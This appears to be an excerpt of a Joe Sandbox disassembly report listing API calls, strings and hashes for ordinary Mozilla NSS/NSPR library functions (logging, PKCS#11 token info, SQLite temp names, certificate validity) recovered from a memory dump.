Part of subcall function 6CC609D0: PR_GetCurrentThread.NSS3 ref: 6CC60A70
Part of subcall function 6CC609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC60A9D
Part of subcall function 6CC609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC60AC8
Part of subcall function 6CC609D0: PR_vsmprintf.NSS3(?,?), ref: 6CC60AE8
Part of subcall function 6CC609D0: EnterCriticalSection.KERNEL32(?), ref: 6CC60B19
Part of subcall function 6CC609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC60B48
Part of subcall function 6CC609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC60C76
Part of subcall function 6CC609D0: PR_LogFlush.NSS3 ref: 6CC60C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CB82963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CB82983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CB829A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CB829C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CB82A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CB82A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CB82A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CB82A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CB82AB6

Strings

C_GetTokenInfo, xrefs: 6CB828B8
label = "%.32s", xrefs: 6CB8295E
maxRwSessions = %u, RwSessions = %u, xrefs: 6CB82A61
CKF_USER_PIN_INIT, xrefs: 6CB829E5
CKF_LOGIN_REQUIRED, xrefs: 6CB829F3, 6CB82A1E
firmware version: %d.%d, xrefs: 6CB82AB1
CKF_WRITE_PROTECTED, xrefs: 6CB829FE, 6CB82A1F
slotID = 0x%x, xrefs: 6CB828D1
manufacturerID = "%.32s", xrefs: 6CB8297E
maxSessions = %u, Sessions = %u, xrefs: 6CB82A43
hardware version: %d.%d, xrefs: 6CB82A89
CKF_RNG, xrefs: 6CB82A13, 6CB82A20
serial = "%.16s", xrefs: 6CB829BE
flags = %s %s %s %s, xrefs: 6CB82A21
model = "%.16s", xrefs: 6CB8299E
pInfo = 0x%p, xrefs: 6CB828EA

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: c523c518f98d9fd596af4317fdaefc6df1af67d3f3ed0f7325ce2df39d6fb5a4
Instruction ID: aa729547bbde8389f9164dd6c405bc8fe3c0e547e17904e54f855b9e3398bb12
Opcode Fuzzy Hash: c523c518f98d9fd596af4317fdaefc6df1af67d3f3ed0f7325ce2df39d6fb5a4
Instruction Fuzzy Hash: E251DCB5501181AFEB108B90DD9DBA937B6EF4120EF458075ED09EBA52F731DC04C766

Function 6CB41D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CB41DA3

Part of subcall function 6CC198D0: calloc.MOZGLUE(00000001,00000084,6CB40936,00000001,?,6CB4102C), ref: 6CC198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CB41DB2

Part of subcall function 6CB41240: TlsGetValue.KERNEL32(00000040,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41267
Part of subcall function 6CB41240: EnterCriticalSection.KERNEL32(?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB4127C
Part of subcall function 6CB41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB41291
Part of subcall function 6CB41240: PR_Unlock.NSS3(?,?,?,?,6CB4116C,NSPR_LOG_MODULES), ref: 6CB412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB41DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CB41E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CB41EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CB41ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CB41EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CB41F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB41F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CB41F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CB41F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB41F83
PR_SetLogFile.NSS3(00000000), ref: 6CB41FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CB41FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CB41FCB
free.MOZGLUE(00000000), ref: 6CB41FD2

Strings

all, xrefs: 6CB41F0E
, %n, xrefs: 6CB41E6B
NSPR_LOG_MODULES, xrefs: 6CB41DAD
Unable to create nspr log file '%s', xrefs: 6CB41FB3
NSPR_LOG_FILE, xrefs: 6CB41F69
sync, xrefs: 6CB41E46
append, xrefs: 6CB41EE6
bufsize, xrefs: 6CB41E9B
timestamp, xrefs: 6CB41EC4
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CB41E27

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 958af500f4c0a5eb4bc6f7a0bc4fc45554509dc831e1207960001669e580e709
Instruction ID: 68d10cbc450cabe6193754ae8947986591c2fde0f9b6f7eb1a83ec923b7e6ff0
Opcode Fuzzy Hash: 958af500f4c0a5eb4bc6f7a0bc4fc45554509dc831e1207960001669e580e709
Instruction Fuzzy Hash: 8851B5B1E082999BDF00DBE5DC48B9E7BB8EF01309F084528E815DBA09F771D528DB51

Function 6CC26E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB3F9C9,?,6CB3F4DA,6CB3F9C9,?,?,6CB0369A), ref: 6CADCA7A
Part of subcall function 6CADCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CADCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CAEBE66), ref: 6CC26E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CAEBE66), ref: 6CC26E98
sqlite3_snprintf.NSS3(?,00000000,6CC8AAF9,?,?,?,?,?,?,6CAEBE66), ref: 6CC26EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CAEBE66), ref: 6CC26ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CAEBE66), ref: 6CC26EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC26F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC26F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC26F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CAEBE66), ref: 6CC26FA6
sqlite3_snprintf.NSS3(?,00000000,6CC8AAF9,00000000,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC26FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC26FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC26FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC27014
sqlite3_free.NSS3(00000000,?,?,?,?,6CAEBE66), ref: 6CC2701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CAEBE66), ref: 6CC27030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC2705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CAEBE66), ref: 6CC27079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC27097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CAEBE66), ref: 6CC270A0

Strings

winGetTempname1, xrefs: 6CC2708F
winGetTempname5, xrefs: 6CC27071
winGetTempname2, xrefs: 6CC270C4
winGetTempname4, xrefs: 6CC27046
mz_etilqs_, xrefs: 6CC26F18

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 25487b073e568468717d38764284e875d3a0d1707833d439ede673d24c962b62
Instruction ID: c6dc517665a4fff6b9d6aa7548062eb41902c240cbc7ebf413d5d5729cd2d3e5
Opcode Fuzzy Hash: 25487b073e568468717d38764284e875d3a0d1707833d439ede673d24c962b62
Instruction Fuzzy Hash: F5518C75A056115BE7109631ACA5FBF36269F82308F144538E8019BFC1FF29E54E82E3

Function 6CBB4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000,00000000,00000001), ref: 6CBB5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2,00000000), ref: 6CBB5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBB505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CBB5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBB50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB675C2), ref: 6CBB50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBB50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBB50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB5153
free.MOZGLUE(?), ref: 6CBB516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBB517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBB5195

Strings

nss=, xrefs: 6CBB5083
library=, xrefs: 6CBB5043
config=, xrefs: 6CBB509B
parameters=, xrefs: 6CBB506B
name=, xrefs: 6CBB5057

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 8cb4fa5b3a39f61a32077f016e6231386c90f03a8af31b62f5b77b3eba56cff2
Instruction ID: 7ff377b9dfba022caf51afc06b707306dafa4e609bf59512c8bf01b229e57015
Opcode Fuzzy Hash: 8cb4fa5b3a39f61a32077f016e6231386c90f03a8af31b62f5b77b3eba56cff2
Instruction Fuzzy Hash: 2E515CB5A412456BEB019E64DC45ABE37A8AF06248F140020EC19F7B41EF35EA19CBB7

Function 6CB88E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CB88E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CB88EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB88EB3

Part of subcall function 6CC6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CB88EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CB88EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CB88F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB88F29
PR_LogPrint.NSS3(?,00000000), ref: 6CB88F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CB88F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CB88F80
PR_LogPrint.NSS3(?,00000000), ref: 6CB88F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CB88FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CB88FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CB89047

Strings

hWrappingKey = 0x%x, xrefs: 6CB88F01, 6CB88F11
pulWrappedKeyLen = 0x%p, xrefs: 6CB88FC8
hKey = 0x%x, xrefs: 6CB88F5B, 6CB88F6B
(CK_INVALID_HANDLE), xrefs: 6CB88EAC, 6CB88F1F, 6CB88F79
hSession = 0x%x, xrefs: 6CB88E8E, 6CB88E9E
C_WrapKey, xrefs: 6CB88E71
pMechanism = 0x%p, xrefs: 6CB88EE0
*pulWrappedKeyLen = 0x%x, xrefs: 6CB89042
pWrappedKey = 0x%p, xrefs: 6CB88FAD

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 491675f1ecf7923e25f37b06083e8db5879f1ee216aae0bd651b415de2907e15
Instruction ID: 8772931eef2310bc9226fc83334d9819ac173b7fdcdb9667dcfcb9455d97f099
Opcode Fuzzy Hash: 491675f1ecf7923e25f37b06083e8db5879f1ee216aae0bd651b415de2907e15
Instruction Fuzzy Hash: 0B51D531A02145AFDB009F51DD98F9F3BB6EB4230EF084425F509ABA12E7319919CBA6

Function 6CBB4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CBA4F51,00000000), ref: 6CBB4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBA4F51,00000000), ref: 6CBB4C5B
PR_smprintf.NSS3(6CC8AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CBA4F51,00000000), ref: 6CBB4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CBA4F51,00000000), ref: 6CBB4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBB4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBA4F51,00000000), ref: 6CBB4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBA4F51,00000000), ref: 6CBB4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CBB4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CBB4DA2
free.MOZGLUE(?), ref: 6CBB4DB9
free.MOZGLUE(00000000), ref: 6CBB4DCF

Strings

slotFlags, xrefs: 6CBB4D34
0x%08lx=[%s %s], xrefs: 6CBB4D80
timeout, xrefs: 6CBB4C91
ootT, xrefs: 6CBB4D1A
rust, xrefs: 6CBB4D22
every, xrefs: 6CBB4CA1
rootFlags, xrefs: 6CBB4D47
%s,%s, xrefs: 6CBB4C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CBB4D9D
any, xrefs: 6CBB4C96

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 7f6c04a92a1004340768d76b76aa2f074165fda8bb3cc1f418254e35eec2d168
Instruction ID: 394a54fab866301793159efcd5dc8d2c462555d98e2b1e823e1fc35b6663cee2
Opcode Fuzzy Hash: 7f6c04a92a1004340768d76b76aa2f074165fda8bb3cc1f418254e35eec2d168
Instruction Fuzzy Hash: D4415BB29001916BDB115FA99C45ABF3A75FB8274CF054124E81A6BB01FB31ED54CBD3

Function 6CB5DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB5DDDE

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CB5DDF5

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB5DE34
PR_Now.NSS3 ref: 6CB5DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CB5DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB5DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB5DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB5DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CB5DEF0
PR_smprintf.NSS3(6CC8AAF9,(NULL) (Validity Unknown)), ref: 6CB5DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB5DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB5DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB5DF33
free.MOZGLUE(00000000), ref: 6CB5DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB5DF4B
free.MOZGLUE(00000000), ref: 6CB5DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB5DF8E

Strings

%s%s, xrefs: 6CB5DEEB
(NULL) (Validity Unknown), xrefs: 6CB5DEFA
{???}, xrefs: 6CB5DE8B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: b55453c562f1345fd347c274971c93fa49604946bb8b42ba5665424a92e7b7b6
Instruction ID: af105e19bc68c311b9529d51830dad65613bc7d4f0ef4e057a3f5e020ae49fbc
Opcode Fuzzy Hash: b55453c562f1345fd347c274971c93fa49604946bb8b42ba5665424a92e7b7b6
Instruction Fuzzy Hash: 0C51A1B1E002515BDF009F75AD81AAF7AB8EF85358F584129E809E7B00FB31D915CBA2

Function 6CB92D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CB92DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CB92E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB92E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB92E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CB64F1C,?,-00000001,00000000,?), ref: 6CB92E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CB64F1C,?,-00000001,00000000), ref: 6CB92E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB92EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB92EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB92EF8
PR_Unlock.NSS3(?), ref: 6CB92F62
TlsGetValue.KERNEL32 ref: 6CB92F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CB92F9E
PR_Unlock.NSS3(?), ref: 6CB92FCA
TlsGetValue.KERNEL32 ref: 6CB9301A
EnterCriticalSection.KERNEL32(?), ref: 6CB9302E
PR_Unlock.NSS3(?), ref: 6CB93066
PR_SetError.NSS3(00000000,00000000), ref: 6CB93085
